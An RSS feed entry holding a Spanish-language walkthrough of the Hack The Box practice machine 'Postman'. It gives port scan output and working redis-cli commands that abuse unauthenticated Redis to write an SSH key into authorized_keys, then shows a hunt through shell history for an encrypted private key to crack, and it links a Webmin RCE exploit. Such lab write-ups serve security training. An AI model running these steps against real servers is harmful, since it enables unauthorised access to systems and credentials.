<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Password Cracking on</title><link>https://synacklabs.github.io/tags/password-cracking/</link><description>Recent content in Password Cracking on</description><generator>Hugo -- gohugo.io</generator><language>es-es</language><lastBuildDate>Fri, 23 Jan 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://synacklabs.github.io/tags/password-cracking/index.xml" rel="self" type="application/rss+xml"/><managingEditor>admin@synacklabs.github.io (SynAckLabs)</managingEditor><webMaster>admin@synacklabs.github.io (SynAckLabs)</webMaster><item><title>Postman (Easy)</title><link>https://synacklabs.github.io/posts/postman/</link><pubDate>Fri, 23 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/postman/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802c-a8e9-fb71c23a9deb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Inicio con un escaneo de puertos para identificar la superficie de ataque.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;83&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;74&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;68&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;77&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;df&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;89&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;82&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; E234E3E8040EFB1ACD7028330A956EBF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET POST OPTIONS HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: The Cyber Geek&lt;span style="color:#e6db74"&gt;&amp;#39;s Personal Website
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-title: Site doesn&amp;#39;&lt;/span&gt;t have a title (text/html; Charset=iso-&lt;span style="color:#ae81ff"&gt;8859&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puertos-80-y-10000"&gt;&lt;strong&gt;Enumeración Web (Puertos 80 y 10000)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Puerto 80:&lt;/strong&gt; Muestra &amp;ldquo;The Cyber Geek&amp;rsquo;s Personal Website&amp;rdquo;, una página en construcción que no revela información útil tras el fuzzing&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802f-a9bf-d8fa984dbcb4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Puerto 10000 (Webmin):&lt;/strong&gt; Encuentro un panel de administración Webmin versión 1.910. Existe un exploit conocido para esta versión, pero requiere autenticación previa, por lo que lo reservo para más adelante.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8067-b086-f4d5271de745.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin%201.910%20-%20Remote%20Code%20Execution%20using%20BurpSuite"&gt;https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial-redis"&gt;Acceso Inicial: Redis&lt;/h2&gt;
&lt;h3 id="enumeración-de-redis-puerto-6379"&gt;Enumeración de Redis (Puerto 6379)&lt;/h3&gt;
&lt;p&gt;Al conectarme al servicio Redis, descubro que no requiere autenticación (&lt;code&gt;config get requirepass&lt;/code&gt; está vacío). Esto me permite ejecutar comandos de configuración críticos.&lt;/p&gt;
&lt;p&gt;El servidor corre con permisos que le permiten escribir en disco. Verifico la configuración del directorio de trabajo y confirmo que puedo cambiarlo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; CONFIG SET dir /var/lib/redis/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="explotación-escritura-de-clave-ssh"&gt;Explotación: Escritura de Clave SSH&lt;/h3&gt;
&lt;p&gt;Abuso de la funcionalidad de guardado de base de datos de Redis para escribir mi propia clave pública en el archivo &lt;code&gt;authorized_keys&lt;/code&gt; del usuario &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Genero un par de claves SSH localmente.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id_ed25519 id_ed25519.pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Escribo la clave pública en la memoria de Redis:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ cat id_ed25519.pub | redis-cli -h &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.1 -x set ssh_key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Configuro el nombre del archivo de destino y guardo:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8061-a502-d6ef3f07b8b8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; CONFIG SET dbfilename authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; save
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nota:&lt;/strong&gt; Inicialmente el login falla. Esto se debe a que el comando &lt;code&gt;save&lt;/code&gt; de Redis vuelca datos binarios en el archivo, corrompiendo el formato que espera SSH. Soluciono esto añadiendo saltos de línea (&lt;code&gt;\n\n&lt;/code&gt;) antes y después de la clave pública para aislarla de la &amp;ldquo;basura&amp;rdquo; binaria, permitiendo que &lt;code&gt;sshd&lt;/code&gt; la lea correctamente.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(echo -e &lt;span style="color:#e6db74"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;; cat ~/id_rsa_generated.pub; echo -e &lt;span style="color:#e6db74"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;) &amp;gt; spaced_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cuando se usa el comando &lt;code&gt;SAVE&lt;/code&gt; o &lt;code&gt;BGSAVE&lt;/code&gt; en Redis, el servidor no escribe un archivo de texto limpio. Genera un archivo con formato &lt;strong&gt;RDB&lt;/strong&gt;, que es un formato binario propietario de Redis. Este archivo contiene metadatos, cabeceras y caracteres no imprimibles que &lt;code&gt;sshd&lt;/code&gt; (el servicio de SSH) no entiende.&lt;/p&gt;
&lt;p&gt;El servicio &lt;code&gt;sshd&lt;/code&gt; es muy tolerante cuando lee el archivo &lt;code&gt;authorized_keys&lt;/code&gt;. Su comportamiento es:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ignora las líneas que no reconoce o que tienen basura binaria.&lt;/li&gt;
&lt;li&gt;Busca específicamente una línea que empiece por &lt;code&gt;ssh-rsa&lt;/code&gt; (o el algoritmo que uses).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al rodear la llave con varios &lt;code&gt;\n&lt;/code&gt; (saltos de línea), nos aseguramos de que la llave pública quede &lt;strong&gt;aislada en su propia línea&lt;/strong&gt;, separada de la basura binaria que Redis escribe al principio y al final del archivo.&lt;/p&gt;
&lt;p&gt;Una vez corregido, accedo por SSH como el usuario &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8060-8ec9-fdd0843fd3fd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="movimiento-lateral-usuario-matt"&gt;Movimiento Lateral: Usuario Matt&lt;/h2&gt;
&lt;p&gt;Ya dentro del sistema, enumero los archivos del usuario.&lt;/p&gt;
&lt;p&gt;Enumerando podemos ver que el usuario redis estaba controlado por Matt.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis@Postman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ cat .bash_history
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/lib/redis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemctl enable redis-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ifconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a &amp;gt; txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano &lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo que más llama la atención es ese archivo id_rsa.bak&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis@Postman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/Matt$ find / -name &lt;span style="color:#e6db74"&gt;&amp;#34;id_rsa.bak&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/opt/id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de una clave privada SSH encriptada. La transfiero a mi máquina local para intentar crackearla.&lt;/p&gt;
